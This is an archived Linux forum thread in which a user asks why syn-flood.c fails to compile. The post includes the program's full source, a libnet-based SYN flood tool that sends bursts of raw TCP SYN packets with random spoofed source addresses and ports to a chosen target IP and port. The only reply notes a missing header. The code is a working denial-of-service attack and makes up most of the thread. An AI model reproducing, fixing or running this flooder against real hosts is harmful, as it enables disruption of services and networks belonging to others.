LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Software (https://www.linuxquestions.org/questions/linux-software-2/)
-   -   synflood.c file error (https://www.linuxquestions.org/questions/linux-software-2/synflood-c-file-error-715751/)

soni_silver17 03-31-2009 07:10 AM

synflood.c file error
 
Hi when i am executing the syn-flood.c file in RHEL4 by using the command #gcc syn-flood.c -o syn-flood
i am getting the below errors
syn-flood.c:35:28: ../libnet_test.h: No such file or directory
syn-flood.c:39: error: field `ip' has incomplete type
syn-flood.c:40: error: field `tcp' has incomplete type
syn-flood.c: In function `main':
syn-flood.c:47: error: `u_long' undeclared (first use in this function)
syn-flood.c:47: error: (Each undeclared identifier is reported only once
syn-flood.c:47: error: for each function it appears in.)
syn-flood.c:47: error: syntax error before "dst_ip"
syn-flood.c:49: error: `u_short' undeclared (first use in this function)
syn-flood.c:51: error: `u_char' undeclared (first use in this function)
syn-flood.c:51: error: `cp' undeclared (first use in this function)
syn-flood.c:51: error: `buf' undeclared (first use in this function)
syn-flood.c:58: error: `EOF' undeclared (first use in this function)
syn-flood.c:69: error: `optarg' undeclared (first use in this function)
syn-flood.c:72: error: `EXIT_FAILURE' undeclared (first use in this function)
syn-flood.c:75: error: `dst_prt' undeclared (first use in this function)
syn-flood.c:75: error: syntax error before "atoi"
syn-flood.c:76: error: `dst_ip' undeclared (first use in this function)
syn-flood.c:78: error: `stderr' undeclared (first use in this function)
syn-flood.c:107: error: `IPPROTO_RAW' undeclared (first use in this function)
syn-flood.c:113: error: `LIBNET_TCP_H' undeclared (first use in this function)
syn-flood.c:113: error: `LIBNET_IP_H' undeclared (first use in this function)
syn-flood.c:129: error: `LIBNET_PRu16' undeclared (first use in this function)
syn-flood.c:131: error: `LIBNET_PR8' undeclared (first use in this function)
syn-flood.c:132: error: `IPPROTO_TCP' undeclared (first use in this function)
syn-flood.c:133: error: `src_ip' undeclared (first use in this function)
syn-flood.c:133: error: `LIBNET_PRu32' undeclared (first use in this function)
syn-flood.c:135: error: `NULL' undeclared (first use in this function)
syn-flood.c:139: error: `src_prt' undeclared (first use in this function)
syn-flood.c:143: error: `TH_SYN' undeclared (first use in this function)
syn-flood.c:167: error: `EXIT_SUCCESS' undeclared (first use in this function)
syn-flood.c: At top level:
syn-flood.c:172: error: syntax error before '*' token
syn-flood.c:173: error: conflicting types for 'usage'
syn-flood.c:71: error: previous implicit declaration of 'usage' was here
syn-flood.c: In function `usage':
syn-flood.c:174: error: `stderr' undeclared (first use in this function)
syn-flood.c:179: error: `nomenclature' undeclared (first use in this function)

.......................syn-flood.c.......................................
#if (HAVE_CONFIG_H)
#include "../../include/config.h"
#endif
#include "../libnet_test.h"

struct t_pack
{
struct ip ip;
struct tcphdr tcp;
};


int
main(int argc, char **argv)
{
u_long dst_ip = 0;
u_long src_ip = 0;
u_short dst_prt = 0;
u_short src_prt = 0;
u_char *cp, *buf;
int i, c, packet_amt, burst_int, sockfd, burst_amt;

packet_amt = 0;
burst_int = 0;
burst_amt = 1;

while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
/*
* We expect the input to be of the form `ip.ip.ip.ip.port`. We
* point cp to the last dot of the IP address/port string and
* then seperate them with a NULL byte. The optarg now points to
* just the IP address, and cp points to the port.
*/
case 't':
if (!(cp = strrchr(optarg, '.')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
if (!(dst_ip = libnet_name_resolve(optarg, 1)))
{
fprintf(stderr, "Bad IP address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;

case 'a':
packet_amt = atoi(optarg);
break;

case 'i':
burst_int = atoi(optarg);
break;

case 'b':
burst_amt = atoi(optarg);
break;

default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}

if (!dst_prt || !dst_ip || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}

if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
{
perror("socket allocation");
exit(EXIT_FAILURE);
}

buf = malloc(LIBNET_TCP_H + LIBNET_IP_H);
if (!buf)
{
perror("No memory for packet header");
exit(EXIT_FAILURE);
}
memset(buf, 0, LIBNET_TCP_H + LIBNET_IP_H);

libnet_seed_prand();

for(; burst_amt--;)
{
for (i = 0; i < packet_amt; i++)
{
libnet_build_ip(LIBNET_TCP_H,
0,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
src_ip = libnet_get_prand(LIBNET_PRu32),
dst_ip,
NULL,
0,
buf);

libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32),
libnet_get_prand(LIBNET_PRu32),
TH_SYN,
libnet_get_prand(LIBNET_PRu16),
0,
NULL,
0,
buf + LIBNET_IP_H);

libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H);

c = libnet_write_ip(sockfd, buf, LIBNET_TCP_H + LIBNET_IP_H);
if (c < LIBNET_TCP_H + LIBNET_IP_H)
{
fprintf(stderr, "libnet_write_ip\n");
}
usleep(250);
printf("%15s:%5d ------> %15s:%5d\n",
libnet_host_lookup(src_ip, 1),
ntohs(src_prt),
libnet_host_lookup(dst_ip, 1),
dst_prt);
}
sleep(burst_int);
}
free(buf);
exit(EXIT_SUCCESS);
}


void
usage(u_char *nomenclature)
{
fprintf(stderr,
"\n\nusage: %s -t -a [-i -b]\n"
"\t-t target, (ip.address.port: 192.168.2.6.23)\n"
"\t-a number of packets to send per burst\n"
"\t-i packet burst sending interval (defaults to 0)\n"
"\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
}


/* EOF */

.........................................................................
please help me with solution

With Thanks and Regards

AlucardZero 03-31-2009 08:09 AM

You need libnet_test.h.


All times are GMT -5. The time now is 06:57 AM.